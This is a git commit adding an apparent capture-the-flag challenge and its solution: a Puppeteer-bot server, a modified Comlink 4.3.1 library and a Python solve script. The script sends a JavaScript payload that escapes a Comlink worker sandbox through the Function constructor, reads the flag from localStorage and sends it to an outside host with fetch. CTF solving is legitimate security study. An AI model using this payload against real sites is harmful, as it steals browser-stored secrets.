commit 67484e60f9627d69e406a533afd4bb2be9480c21
parent 727aaf505985fdbcf3ceaf5148df8ce8fb427ed0
Author: Louis Burda <quent.burda@gmail.com>
Date: Wed, 17 Apr 2024 02:38:10 +0200
Add solution
Diffstat:
12 files changed, 456 insertions(+), 0 deletions(-)
diff --git a/solve/.dockerignore b/solve/.dockerignore
@@ -0,0 +1,3 @@
+node_modules
+.gitignore
+.dockerignore
diff --git a/solve/.gitignore b/solve/.gitignore
@@ -0,0 +1,3 @@
+node_modules/
+package-lock.json
+package.json
diff --git a/solve/Dockerfile b/solve/Dockerfile
@@ -0,0 +1,28 @@
+# syntax=docker/dockerfile:1
+FROM alpine:3.18.2@sha256:25fad2a32ad1f6f510e528448ae1ec69a28ef81916a004d3629874104f8a7f70
+
+# Install OS dependencies and add a challenge user
+RUN apk add nodejs npm chromium \
+ && addgroup -S wsbx \
+ && adduser -S -G wsbx wsbx \
+ && mkdir -p /home/wsbx/Downloads \
+ && chown -R wsbx:wsbx /home/wsbx
+
+# Set config for running in a container
+ENV FLAG=CSCG{fake_flag} \
+ HOST=0.0.0.0 \
+ PORT=1337 \
+ PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
+
+# Install NPM dependencies
+WORKDIR /app
+COPY package.json package-lock.json /app/
+RUN npm ci
+
+# Add the actual app
+COPY . /app
+
+# Don't run as root
+USER wsbx
+
+CMD ["node", "server.js"]
diff --git a/solve/docker-compose.yml b/solve/docker-compose.yml
@@ -0,0 +1,6 @@
+services:
+ service:
+ build:
+ context: .
+ ports:
+ - "1337:1337"
diff --git a/solve/flag b/solve/flag
@@ -0,0 +1 @@
+CSCG{Comlink_makes_WebPages_exploitable_ed5b27a074}
diff --git a/solve/server.js b/solve/server.js
@@ -0,0 +1,47 @@
+const path = require('node:path');
+const express = require('express');
+const morgan = require('morgan');
+const puppeteer = require('puppeteer');
+
+const HOST = process.env.HOST ?? '127.0.0.1';
+const PORT = process.env.PORT ?? '1337';
+const FLAG = process.env.FLAG ?? 'CSCG{fake_flag}';
+const BOT_TIMEOUT = Number(process.env.BOT_TIMEOUT || 60000);
+const PAGE_URL = `http://localhost:${PORT}`;
+
+const app = express();
+app.use(morgan('common'));
+app.use(express.static(path.join(__dirname, 'static')));
+
+app.get('/report', express.json(), (req, res) => {
+ const { code = '' } = req.query;
+ visit(code);
+ res.status(204).end();
+});
+
+app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
+
+async function visit(code) {
+ try {
+ const url = new URL(PAGE_URL);
+
+ const browser = await puppeteer.launch({
+ args: [ '--no-sandbox' ],
+ headless: false //'old',
+ });
+
+ console.log('Placing flag');
+ const page = await browser.newPage();
+ await page.goto(url.toString());
+ await page.evaluate((flag) => localStorage.setItem('flag', flag), FLAG);
+ await page.close();
+
+ url.searchParams.set('code', code);
+ console.log(`Visiting ${url}`);
+ const playerPage = await browser.newPage();
+ setTimeout(() => browser.close(), BOT_TIMEOUT * 1000);
+ await playerPage.goto(url.toString());
+ } catch (error) {
+ console.error(error);
+ }
+}
diff --git a/solve/solve b/solve/solve
@@ -0,0 +1,20 @@
+#!/usr/bin/env python3
+
+import requests
+import sys
+
+payload = """
+new Promise(async (resolve, reject) => {
+ let comlink = await import("./comlink-4.3.1.js");
+ errorHandler.constructor.constructor.__proto__[comlink.marker] = true;
+ const cmd = "return localStorage.getItem('flag')";
+ let proxy = new errorHandler.constructor.constructor(cmd);
+ let flag = await (await proxy)();
+ fetch("http://test.sinitax.com?flag=" + flag);
+})
+"""
+
+baseurl = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:1337"
+r = requests.get(f"{baseurl}/report", params={"code": payload})
+print(r.status_code)
+print(r.text)
diff --git a/solve/static/app.js b/solve/static/app.js
@@ -0,0 +1,20 @@
+import { wrap, proxy } from './comlink-4.3.1.js';
+
+report.onclick = () => { location.pathname = '/report' };
+
+window.sandbox = new class {
+ box = wrap(new Worker('sandbox.js', { type: 'module' }));
+ run(code) {
+ return new Promise(async (resolve, reject) => {
+ const errorHandler = proxy(reject);
+ const result = await this.box.run(code, errorHandler);
+ resolve(result);
+ });
+ }
+}();
+
+const query = new URLSearchParams(location.search);
+const code = query.get('code') ?? '7*7';
+let tmp = await window.sandbox.run(code);
+console.log(tmp);
+output.textContent = tmp;
diff --git a/solve/static/comlink-4.3.1.js b/solve/static/comlink-4.3.1.js
@@ -0,0 +1,308 @@
+/**
+ * Copyright 2019 Google Inc. All Rights Reserved.
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+const proxyMarker = Symbol("Comlink.proxy");
+const createEndpoint = Symbol("Comlink.endpoint");
+const releaseProxy = Symbol("Comlink.releaseProxy");
+const throwMarker = Symbol("Comlink.thrown");
+const isObject = (val) => (typeof val === "object" && val !== null) || typeof val === "function";
+/**
+ * Internal transfer handle to handle objects marked to proxy.
+ */
+const proxyTransferHandler = {
+ canHandle: (val) => {
+ console.log("checking ", typeof(val), val, isObject(val) && val[proxyMarker], Object.keys(val), Object.keys(val.__proto__));
+ return isObject(val) && val[proxyMarker];
+ },
+ serialize(obj) {
+ const { port1, port2 } = new MessageChannel();
+ expose(obj, port1);
+ return [port2, [port2]];
+ },
+ deserialize(port) {
+ port.start();
+ return wrap(port);
+ },
+};
+/**
+ * Internal transfer handler to handle thrown exceptions.
+ */
+const throwTransferHandler = {
+ canHandle: (value) => isObject(value) && throwMarker in value,
+ serialize({ value }) {
+ let serialized;
+ if (value instanceof Error) {
+ serialized = {
+ isError: true,
+ value: {
+ message: value.message,
+ name: value.name,
+ stack: value.stack,
+ },
+ };
+ }
+ else {
+ serialized = { isError: false, value };
+ }
+ return [serialized, []];
+ },
+ deserialize(serialized) {
+ if (serialized.isError) {
+ throw Object.assign(new Error(serialized.value.message), serialized.value);
+ }
+ throw serialized.value;
+ },
+};
+/**
+ * Allows customizing the serialization of certain values.
+ */
+const transferHandlers = new Map([
+ ["proxy", proxyTransferHandler],
+ ["throw", throwTransferHandler],
+]);
+function expose(obj, ep = self) {
+ ep.addEventListener("message", function callback(ev) {
+ if (!ev || !ev.data) {
+ return;
+ }
+ console.log(ev);
+ const { id, type, path } = Object.assign({ path: [] }, ev.data);
+ const argumentList = (ev.data.argumentList || []).map(fromWireValue);
+ let returnValue;
+ try {
+ const parent = path.slice(0, -1).reduce((obj, prop) => obj[prop], obj);
+ const rawValue = path.reduce((obj, prop) => obj[prop], obj);
+ switch (type) {
+ case "GET" /* GET */:
+ {
+ returnValue = rawValue;
+ }
+ break;
+ case "SET" /* SET */:
+ {
+ parent[path.slice(-1)[0]] = fromWireValue(ev.data.value);
+ returnValue = true;
+ }
+ break;
+ case "APPLY" /* APPLY */:
+ {
+ returnValue = rawValue.apply(parent, argumentList);
+ console.log("aplly return");
+ console.log(returnValue);
+ console.log(Object.keys(returnValue.__proto__));
+ }
+ break;
+ case "CONSTRUCT" /* CONSTRUCT */:
+ {
+ const value = new rawValue(...argumentList);
+ returnValue = proxy(value);
+ }
+ break;
+ case "ENDPOINT" /* ENDPOINT */:
+ {
+ const { port1, port2 } = new MessageChannel();
+ expose(obj, port2);
+ returnValue = transfer(port1, [port1]);
+ }
+ break;
+ case "RELEASE" /* RELEASE */:
+ {
+ returnValue = undefined;
+ }
+ break;
+ default:
+ return;
+ }
+ }
+ catch (value) {
+ returnValue = { value, [throwMarker]: 0 };
+ }
+ Promise.resolve(returnValue)
+ .catch((value) => {
+ return { value, [throwMarker]: 0 };
+ })
+ .then((returnValue) => {
+ const [wireValue, transferables] = toWireValue(returnValue);
+ ep.postMessage(Object.assign(Object.assign({}, wireValue), { id }), transferables);
+ if (type === "RELEASE" /* RELEASE */) {
+ // detach and deactive after sending release response above.
+ ep.removeEventListener("message", callback);
+ closeEndPoint(ep);
+ }
+ });
+ });
+ if (ep.start) {
+ ep.start();
+ }
+}
+function isMessagePort(endpoint) {
+ return endpoint.constructor.name === "MessagePort";
+}
+function closeEndPoint(endpoint) {
+ if (isMessagePort(endpoint))
+ endpoint.close();
+}
+function wrap(ep, target) {
+ return createProxy(ep, [], target);
+}
+function throwIfProxyReleased(isReleased) {
+ if (isReleased) {
+ throw new Error("Proxy has been released and is not useable");
+ }
+}
+function createProxy(ep, path = [], target = function () { }) {
+ let isProxyReleased = false;
+ const proxy = new Proxy(target, {
+ get(_target, prop) {
+ throwIfProxyReleased(isProxyReleased);
+ if (prop === releaseProxy) {
+ return () => {
+ return requestResponseMessage(ep, {
+ type: "RELEASE" /* RELEASE */,
+ path: path.map((p) => p.toString()),
+ }).then(() => {
+ closeEndPoint(ep);
+ isProxyReleased = true;
+ });
+ };
+ }
+ if (prop === "then") {
+ if (path.length === 0) {
+ return { then: () => proxy };
+ }
+ const r = requestResponseMessage(ep, {
+ type: "GET" /* GET */,
+ path: path.map((p) => p.toString()),
+ }).then(fromWireValue);
+ return r.then.bind(r);
+ }
+ return createProxy(ep, [...path, prop]);
+ },
+ set(_target, prop, rawValue) {
+ throwIfProxyReleased(isProxyReleased);
+ // FIXME: ES6 Proxy Handler `set` methods are supposed to return a
+ // boolean. To show good will, we return true asynchronously ¯\_(ツ)_/¯
+ const [value, transferables] = toWireValue(rawValue);
+ return requestResponseMessage(ep, {
+ type: "SET" /* SET */,
+ path: [...path, prop].map((p) => p.toString()),
+ value,
+ }, transferables).then(fromWireValue);
+ },
+ apply(_target, _thisArg, rawArgumentList) {
+ throwIfProxyReleased(isProxyReleased);
+ const last = path[path.length - 1];
+ if (last === createEndpoint) {
+ return requestResponseMessage(ep, {
+ type: "ENDPOINT" /* ENDPOINT */,
+ }).then(fromWireValue);
+ }
+ // We just pretend that `bind()` didn’t happen.
+ if (last === "bind") {
+ return createProxy(ep, path.slice(0, -1));
+ }
+ const [argumentList, transferables] = processArguments(rawArgumentList);
+ return requestResponseMessage(ep, {
+ type: "APPLY" /* APPLY */,
+ path: path.map((p) => p.toString()),
+ argumentList,
+ }, transferables).then(fromWireValue);
+ },
+ construct(_target, rawArgumentList) {
+ throwIfProxyReleased(isProxyReleased);
+ const [argumentList, transferables] = processArguments(rawArgumentList);
+ return requestResponseMessage(ep, {
+ type: "CONSTRUCT" /* CONSTRUCT */,
+ path: path.map((p) => p.toString()),
+ argumentList,
+ }, transferables).then(fromWireValue);
+ },
+ });
+ return proxy;
+}
+function myFlat(arr) {
+ return Array.prototype.concat.apply([], arr);
+}
+function processArguments(argumentList) {
+ const processed = argumentList.map(toWireValue);
+ return [processed.map((v) => v[0]), myFlat(processed.map((v) => v[1]))];
+}
+const transferCache = new WeakMap();
+function transfer(obj, transfers) {
+ transferCache.set(obj, transfers);
+ return obj;
+}
+function proxy(obj) {
+ return Object.assign(obj, { [proxyMarker]: true });
+}
+function windowEndpoint(w, context = self, targetOrigin = "*") {
+ return {
+ postMessage: (msg, transferables) => w.postMessage(msg, targetOrigin, transferables),
+ addEventListener: context.addEventListener.bind(context),
+ removeEventListener: context.removeEventListener.bind(context),
+ };
+}
+function toWireValue(value) {
+ for (const [name, handler] of transferHandlers) {
+ if (handler.canHandle(value)) {
+ const [serializedValue, transferables] = handler.serialize(value);
+ return [
+ {
+ type: "HANDLER" /* HANDLER */,
+ name,
+ value: serializedValue,
+ },
+ transferables,
+ ];
+ }
+ }
+ return [
+ {
+ type: "RAW" /* RAW */,
+ value,
+ },
+ transferCache.get(value) || [],
+ ];
+}
+function fromWireValue(value) {
+ switch (value.type) {
+ case "HANDLER" /* HANDLER */:
+ return transferHandlers.get(value.name).deserialize(value.value);
+ case "RAW" /* RAW */:
+ return value.value;
+ }
+}
+function requestResponseMessage(ep, msg, transfers) {
+ return new Promise((resolve) => {
+ const id = generateUUID();
+ ep.addEventListener("message", function l(ev) {
+ if (!ev.data || !ev.data.id || ev.data.id !== id) {
+ return;
+ }
+ ep.removeEventListener("message", l);
+ resolve(ev.data);
+ });
+ if (ep.start) {
+ ep.start();
+ }
+ ep.postMessage(Object.assign({ id }, msg), transfers);
+ });
+}
+function generateUUID() {
+ return new Array(4)
+ .fill(0)
+ .map(() => Math.floor(Math.random() * Number.MAX_SAFE_INTEGER).toString(16))
+ .join("-");
+}
+
+export { createEndpoint, expose, proxy, proxyMarker, releaseProxy, transfer, transferHandlers, windowEndpoint, wrap };
+//# sourceMappingURL=comlink-4.3.1.js.map
diff --git a/solve/static/comlink-4.3.1.js.map b/solve/static/comlink-4.3.1.js.map
@@ -0,0 +1 @@
+{"version":3,"file":"comlink.js","sources":["../../src/comlink.ts"],"sourcesContent":["/**\n * Copyright 2019 Google Inc. All Rights Reserved.\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * http://www.apache.org/licenses/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nimport {\n Endpoint,\n EventSource,\n Message,\n MessageType,\n PostMessageWithOrigin,\n WireValue,\n WireValueType,\n} from \"./protocol\";\nexport { Endpoint };\n\nexport const proxyMarker = Symbol(\"Comlink.proxy\");\nexport const createEndpoint = Symbol(\"Comlink.endpoint\");\nexport const releaseProxy = Symbol(\"Comlink.releaseProxy\");\n\nconst throwMarker = Symbol(\"Comlink.thrown\");\n\n/**\n * Interface of values that were marked to be proxied with `comlink.proxy()`.\n * Can also be implemented by classes.\n */\nexport interface ProxyMarked {\n [proxyMarker]: true;\n}\n\n/**\n * Takes a type and wraps it in a Promise, if it not already is one.\n * This is to avoid `Promise<Promise<T>>`.\n *\n * This is the inverse of `Unpromisify<T>`.\n */\ntype Promisify<T> = T extends Promise<unknown> ? T : Promise<T>;\n/**\n * Takes a type that may be Promise and unwraps the Promise type.\n * If `P` is not a Promise, it returns `P`.\n *\n * This is the inverse of `Promisify<T>`.\n */\ntype Unpromisify<P> = P extends Promise<infer T> ? T : P;\n\n/**\n * Takes the raw type of a remote property and returns the type that is visible to the local thread on the proxy.\n *\n * Note: This needs to be its own type alias, otherwise it will not distribute over unions.\n * See https://www.typescriptlang.org/docs/handbook/advanced-types.html#distributive-conditional-types\n */\ntype RemoteProperty<T> =\n // If the value is a method, comlink will proxy it automatically.\n // Objects are only proxied if they are marked to be proxied.\n // Otherwise, the property is converted to a Promise that resolves the cloned value.\n T extends Function | ProxyMarked ? Remote<T> : Promisify<T>;\n\n/**\n * Takes the raw type of a property as a remote thread would see it through a proxy (e.g. when passed in as a function\n * argument) and returns the type that the local thread has to supply.\n *\n * This is the inverse of `RemoteProperty<T>`.\n *\n * Note: This needs to be its own type alias, otherwise it will not distribute over unions. See\n * https://www.typescriptlang.org/docs/handbook/advanced-types.html#distributive-conditional-types\n */\ntype LocalProperty<T> = T extends Function | ProxyMarked\n ? Local<T>\n : Unpromisify<T>;\n\n/**\n * Proxies `T` if it is a `ProxyMarked`, clones it otherwise (as handled by structured cloning and transfer handlers).\n */\nexport type ProxyOrClone<T> = T extends ProxyMarked ? Remote<T> : T;\n/**\n * Inverse of `ProxyOrClone<T>`.\n */\nexport type UnproxyOrClone<T> = T extends RemoteObject<ProxyMarked>\n ? Local<T>\n : T;\n\n/**\n * Takes the raw type of a remote object in the other thread and returns the type as it is visible to the local thread\n * when proxied with `Comlink.proxy()`.\n *\n * This does not handle call signatures, which is handled by the more general `Remote<T>` type.\n *\n * @template T The raw type of a remote object as seen in the other thread.\n */\nexport type RemoteObject<T> = { [P in keyof T]: RemoteProperty<T[P]> };\n/**\n * Takes the type of an object as a remote thread would see it through a proxy (e.g. when passed in as a function\n * argument) and returns the type that the local thread has to supply.\n *\n * This does not handle call signatures, which is handled by the more general `Local<T>` type.\n *\n * This is the inverse of `RemoteObject<T>`.\n *\n * @template T The type of a proxied object.\n */\nexport type LocalObject<T> = { [P in keyof T]: LocalProperty<T[P]> };\n\n/**\n * Additional special comlink methods available on each proxy returned by `Comlink.wrap()`.\n */\nexport interface ProxyMethods {\n [createEndpoint]: () => Promise<MessagePort>;\n [releaseProxy]: () => void;\n}\n\n/**\n * Takes the raw type of a remote object, function or class in the other thread and returns the type as it is visible to\n * the local thread from the proxy return value of `Comlink.wrap()` or `Comlink.proxy()`.\n */\nexport type Remote<T> =\n // Handle properties\n RemoteObject<T> &\n // Handle call signature (if present)\n (T extends (...args: infer TArguments) => infer TReturn\n ? (\n ...args: { [I in keyof TArguments]: UnproxyOrClone<TArguments[I]> }\n ) => Promisify<ProxyOrClone<Unpromisify<TReturn>>>\n : unknown) &\n // Handle construct signature (if present)\n // The return of construct signatures is always proxied (whether marked or not)\n (T extends { new (...args: infer TArguments): infer TInstance }\n ? {\n new (\n ...args: {\n [I in keyof TArguments]: UnproxyOrClone<TArguments[I]>;\n }\n ): Promisify<Remote<TInstance>>;\n }\n : unknown) &\n // Include additional special comlink methods available on the proxy.\n ProxyMethods;\n\n/**\n * Expresses that a type can be either a sync or async.\n */\ntype MaybePromise<T> = Promise<T> | T;\n\n/**\n * Takes the raw type of a remote object, function or class as a remote thread would see it through a proxy (e.g. when\n * passed in as a function argument) and returns the type the local thread has to supply.\n *\n * This is the inverse of `Remote<T>`. It takes a `Remote<T>` and returns its original input `T`.\n */\nexport type Local<T> =\n // Omit the special proxy methods (they don't need to be supplied, comlink adds them)\n Omit<LocalObject<T>, keyof ProxyMethods> &\n // Handle call signatures (if present)\n (T extends (...args: infer TArguments) => infer TReturn\n ? (\n ...args: { [I in keyof TArguments]: ProxyOrClone<TArguments[I]> }\n ) => // The raw function could either be sync or async, but is always proxied automatically\n MaybePromise<UnproxyOrClone<Unpromisify<TReturn>>>\n : unknown) &\n // Handle construct signature (if present)\n // The return of construct signatures is always proxied (whether marked or not)\n (T extends { new (...args: infer TArguments): infer TInstance }\n ? {\n new (\n ...args: {\n [I in keyof TArguments]: ProxyOrClone<TArguments[I]>;\n }\n ): // The raw constructor could either be sync or async, but is always proxied automatically\n MaybePromise<Local<Unpromisify<TInstance>>>;\n }\n : unknown);\n\nconst isObject = (val: unknown): val is object =>\n (typeof val === \"object\" && val !== null) || typeof val === \"function\";\n\n/**\n * Customizes the serialization of certain values as determined by `canHandle()`.\n *\n * @template T The input type being handled by this transfer handler.\n * @template S The serialized type sent over the wire.\n */\nexport interface TransferHandler<T, S> {\n /**\n * Gets called for every value to determine whether this transfer handler\n * should serialize the value, which includes checking that it is of the right\n * type (but can perform checks beyond that as well).\n */\n canHandle(value: unknown): value is T;\n\n /**\n * Gets called with the value if `canHandle()` returned `true` to produce a\n * value that can be sent in a message, consisting of structured-cloneable\n * values and/or transferrable objects.\n */\n serialize(value: T): [S, Transferable[]];\n\n /**\n * Gets called to deserialize an incoming value that was serialized in the\n * other thread with this transfer handler (known through the name it was\n * registered under).\n */\n deserialize(value: S): T;\n}\n\n/**\n * Internal transfer handle to handle objects marked to proxy.\n */\nconst proxyTransferHandler: TransferHandler<object, MessagePort> = {\n canHandle: (val): val is ProxyMarked =>\n isObject(val) && (val as ProxyMarked)[proxyMarker],\n serialize(obj) {\n const { port1, port2 } = new MessageChannel();\n expose(obj, port1);\n return [port2, [port2]];\n },\n deserialize(port) {\n port.start();\n return wrap(port);\n },\n};\n\ninterface ThrownValue {\n [throwMarker]: unknown; // just needs to be present\n value: unknown;\n}\ntype SerializedThrownValue =\n | { isError: true; value: Error }\n | { isError: false; value: unknown };\n\n/**\n * Internal transfer handler to handle thrown exceptions.\n */\nconst throwTransferHandler: TransferHandler<\n ThrownValue,\n SerializedThrownValue\n> = {\n canHandle: (value): value is ThrownValue =>\n isObject(value) && throwMarker in value,\n serialize({ value }) {\n let serialized: SerializedThrownValue;\n if (value instanceof Error) {\n serialized = {\n isError: true,\n value: {\n message: value.message,\n name: value.name,\n stack: value.stack,\n },\n };\n } else {\n serialized = { isError: false, value };\n }\n return [serialized, []];\n },\n deserialize(serialized) {\n if (serialized.isError) {\n throw Object.assign(\n new Error(serialized.value.message),\n serialized.value\n );\n }\n throw serialized.value;\n },\n};\n\n/**\n * Allows customizing the serialization of certain values.\n */\nexport const transferHandlers = new Map<\n string,\n TransferHandler<unknown, unknown>\n>([\n [\"proxy\", proxyTransferHandler],\n [\"throw\", throwTransferHandler],\n]);\n\nexport function expose(obj: any, ep: Endpoint = self as any) {\n ep.addEventListener(\"message\", function callback(ev: MessageEvent) {\n if (!ev || !ev.data) {\n return;\n }\n const { id, type, path } = {\n path: [] as string[],\n ...(ev.data as Message),\n };\n const argumentList = (ev.data.argumentList || []).map(fromWireValue);\n let returnValue;\n try {\n const parent = path.slice(0, -1).reduce((obj, prop) => obj[prop], obj);\n const rawValue = path.reduce((obj, prop) => obj[prop], obj);\n switch (type) {\n case MessageType.GET:\n {\n returnValue = rawValue;\n }\n break;\n case MessageType.SET:\n {\n parent[path.slice(-1)[0]] = fromWireValue(ev.data.value);\n returnValue = true;\n }\n break;\n case MessageType.APPLY:\n {\n returnValue = rawValue.apply(parent, argumentList);\n }\n break;\n case MessageType.CONSTRUCT:\n {\n const value = new rawValue(...argumentList);\n returnValue = proxy(value);\n }\n break;\n case MessageType.ENDPOINT:\n {\n const { port1, port2 } = new MessageChannel();\n expose(obj, port2);\n returnValue = transfer(port1, [port1]);\n }\n break;\n case MessageType.RELEASE:\n {\n returnValue = undefined;\n }\n break;\n default:\n return;\n }\n } catch (value) {\n returnValue = { value, [throwMarker]: 0 };\n }\n Promise.resolve(returnValue)\n .catch((value) => {\n return { value, [throwMarker]: 0 };\n })\n .then((returnValue) => {\n const [wireValue, transferables] = toWireValue(returnValue);\n ep.postMessage({ ...wireValue, id }, transferables);\n if (type === MessageType.RELEASE) {\n // detach and deactive after sending release response above.\n ep.removeEventListener(\"message\", callback as any);\n closeEndPoint(ep);\n }\n });\n } as any);\n if (ep.start) {\n ep.start();\n }\n}\n\nfunction isMessagePort(endpoint: Endpoint): endpoint is MessagePort {\n return endpoint.constructor.name === \"MessagePort\";\n}\n\nfunction closeEndPoint(endpoint: Endpoint) {\n if (isMessagePort(endpoint)) endpoint.close();\n}\n\nexport function wrap<T>(ep: Endpoint, target?: any): Remote<T> {\n return createProxy<T>(ep, [], target) as any;\n}\n\nfunction throwIfProxyReleased(isReleased: boolean) {\n if (isReleased) {\n throw new Error(\"Proxy has been released and is not useable\");\n }\n}\n\nfunction createProxy<T>(\n ep: Endpoint,\n path: (string | number | symbol)[] = [],\n target: object = function () {}\n): Remote<T> {\n let isProxyReleased = false;\n const proxy = new Proxy(target, {\n get(_target, prop) {\n throwIfProxyReleased(isProxyReleased);\n if (prop === releaseProxy) {\n return () => {\n return requestResponseMessage(ep, {\n type: MessageType.RELEASE,\n path: path.map((p) => p.toString()),\n }).then(() => {\n closeEndPoint(ep);\n isProxyReleased = true;\n });\n };\n }\n if (prop === \"then\") {\n if (path.length === 0) {\n return { then: () => proxy };\n }\n const r = requestResponseMessage(ep, {\n type: MessageType.GET,\n path: path.map((p) => p.toString()),\n }).then(fromWireValue);\n return r.then.bind(r);\n }\n return createProxy(ep, [...path, prop]);\n },\n set(_target, prop, rawValue) {\n throwIfProxyReleased(isProxyReleased);\n // FIXME: ES6 Proxy Handler `set` methods are supposed to return a\n // boolean. To show good will, we return true asynchronously ¯\\_(ツ)_/¯\n const [value, transferables] = toWireValue(rawValue);\n return requestResponseMessage(\n ep,\n {\n type: MessageType.SET,\n path: [...path, prop].map((p) => p.toString()),\n value,\n },\n transferables\n ).then(fromWireValue) as any;\n },\n apply(_target, _thisArg, rawArgumentList) {\n throwIfProxyReleased(isProxyReleased);\n const last = path[path.length - 1];\n if ((last as any) === createEndpoint) {\n return requestResponseMessage(ep, {\n type: MessageType.ENDPOINT,\n }).then(fromWireValue);\n }\n // We just pretend that `bind()` didn’t happen.\n if (last === \"bind\") {\n return createProxy(ep, path.slice(0, -1));\n }\n const [argumentList, transferables] = processArguments(rawArgumentList);\n return requestResponseMessage(\n ep,\n {\n type: MessageType.APPLY,\n path: path.map((p) => p.toString()),\n argumentList,\n },\n transferables\n ).then(fromWireValue);\n },\n construct(_target, rawArgumentList) {\n throwIfProxyReleased(isProxyReleased);\n const [argumentList, transferables] = processArguments(rawArgumentList);\n return requestResponseMessage(\n ep,\n {\n type: MessageType.CONSTRUCT,\n path: path.map((p) => p.toString()),\n argumentList,\n },\n transferables\n ).then(fromWireValue);\n },\n });\n return proxy as any;\n}\n\nfunction myFlat<T>(arr: (T | T[])[]): T[] {\n return Array.prototype.concat.apply([], arr);\n}\n\nfunction processArguments(argumentList: any[]): [WireValue[], Transferable[]] {\n const processed = argumentList.map(toWireValue);\n return [processed.map((v) => v[0]), myFlat(processed.map((v) => v[1]))];\n}\n\nconst transferCache = new WeakMap<any, Transferable[]>();\nexport function transfer<T>(obj: T, transfers: Transferable[]): T {\n transferCache.set(obj, transfers);\n return obj;\n}\n\nexport function proxy<T>(obj: T): T & ProxyMarked {\n return Object.assign(obj, { [proxyMarker]: true }) as any;\n}\n\nexport function windowEndpoint(\n w: PostMessageWithOrigin,\n context: EventSource = self,\n targetOrigin = \"*\"\n): Endpoint {\n return {\n postMessage: (msg: any, transferables: Transferable[]) =>\n w.postMessage(msg, targetOrigin, transferables),\n addEventListener: context.addEventListener.bind(context),\n removeEventListener: context.removeEventListener.bind(context),\n };\n}\n\nfunction toWireValue(value: any): [WireValue, Transferable[]] {\n for (const [name, handler] of transferHandlers) {\n if (handler.canHandle(value)) {\n const [serializedValue, transferables] = handler.serialize(value);\n return [\n {\n type: WireValueType.HANDLER,\n name,\n value: serializedValue,\n },\n transferables,\n ];\n }\n }\n return [\n {\n type: WireValueType.RAW,\n value,\n },\n transferCache.get(value) || [],\n ];\n}\n\nfunction fromWireValue(value: WireValue): any {\n switch (value.type) {\n case WireValueType.HANDLER:\n return transferHandlers.get(value.name)!.deserialize(value.value);\n case WireValueType.RAW:\n return value.value;\n }\n}\n\nfunction requestResponseMessage(\n ep: Endpoint,\n msg: Message,\n transfers?: Transferable[]\n): Promise<WireValue> {\n return new Promise((resolve) => {\n const id = generateUUID();\n ep.addEventListener(\"message\", function l(ev: MessageEvent) {\n if (!ev.data || !ev.data.id || ev.data.id !== id) {\n return;\n }\n ep.removeEventListener(\"message\", l as any);\n resolve(ev.data);\n } as any);\n if (ep.start) {\n ep.start();\n }\n ep.postMessage({ id, ...msg }, transfers);\n });\n}\n\nfunction generateUUID(): string {\n return new Array(4)\n .fill(0)\n .map(() => Math.floor(Math.random() * Number.MAX_SAFE_INTEGER).toString(16))\n .join(\"-\");\n}\n"],"names":[],"mappings":"AAAA;;;;;;;;;;;;MAwBa,WAAW,GAAG,MAAM,CAAC,eAAe,EAAE;MACtC,cAAc,GAAG,MAAM,CAAC,kBAAkB,EAAE;MAC5C,YAAY,GAAG,MAAM,CAAC,sBAAsB,EAAE;AAE3D,MAAM,WAAW,GAAG,MAAM,CAAC,gBAAgB,CAAC,CAAC;AAuJ7C,MAAM,QAAQ,GAAG,CAAC,GAAY,KAC5B,CAAC,OAAO,GAAG,KAAK,QAAQ,IAAI,GAAG,KAAK,IAAI,KAAK,OAAO,GAAG,KAAK,UAAU,CAAC;AA+BzE;;;AAGA,MAAM,oBAAoB,GAAyC;IACjE,SAAS,EAAE,CAAC,GAAG,KACb,QAAQ,CAAC,GAAG,CAAC,IAAK,GAAmB,CAAC,WAAW,CAAC;IACpD,SAAS,CAAC,GAAG;QACX,MAAM,EAAE,KAAK,EAAE,KAAK,EAAE,GAAG,IAAI,cAAc,EAAE,CAAC;QAC9C,MAAM,CAAC,GAAG,EAAE,KAAK,CAAC,CAAC;QACnB,OAAO,CAAC,KAAK,EAAE,CAAC,KAAK,CAAC,CAAC,CAAC;KACzB;IACD,WAAW,CAAC,IAAI;QACd,IAAI,CAAC,KAAK,EAAE,CAAC;QACb,OAAO,IAAI,CAAC,IAAI,CAAC,CAAC;KACnB;CACF,CAAC;AAUF;;;AAGA,MAAM,oBAAoB,GAGtB;IACF,SAAS,EAAE,CAAC,KAAK,KACf,QAAQ,CAAC,KAAK,CAAC,IAAI,WAAW,IAAI,KAAK;IACzC,SAAS,CAAC,EAAE,KAAK,EAAE;QACjB,IAAI,UAAiC,CAAC;QACtC,IAAI,KAAK,YAAY,KAAK,EAAE;YAC1B,UAAU,GAAG;gBACX,OAAO,EAAE,IAAI;gBACb,KAAK,EAAE;oBACL,OAAO,EAAE,KAAK,CAAC,OAAO;oBACtB,IAAI,EAAE,KAAK,CAAC,IAAI;oBAChB,KAAK,EAAE,KAAK,CAAC,KAAK;iBACnB;aACF,CAAC;SACH;aAAM;YACL,UAAU,GAAG,EAAE,OAAO,EAAE,KAAK,EAAE,KAAK,EAAE,CAAC;SACxC;QACD,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC;KACzB;IACD,WAAW,CAAC,UAAU;QACpB,IAAI,UAAU,CAAC,OAAO,EAAE;YACtB,MAAM,MAAM,CAAC,MAAM,CACjB,IAAI,KAAK,CAAC,UAAU,CAAC,KAAK,CAAC,OAAO,CAAC,EACnC,UAAU,CAAC,KAAK,CACjB,CAAC;SACH;QACD,MAAM,UAAU,CAAC,KAAK,CAAC;KACxB;CACF,CAAC;AAEF;;;MAGa,gBAAgB,GAAG,IAAI,GAAG,CAGrC;IACA,CAAC,OAAO,EAAE,oBAAoB,CAAC;IAC/B,CAAC,OAAO,EAA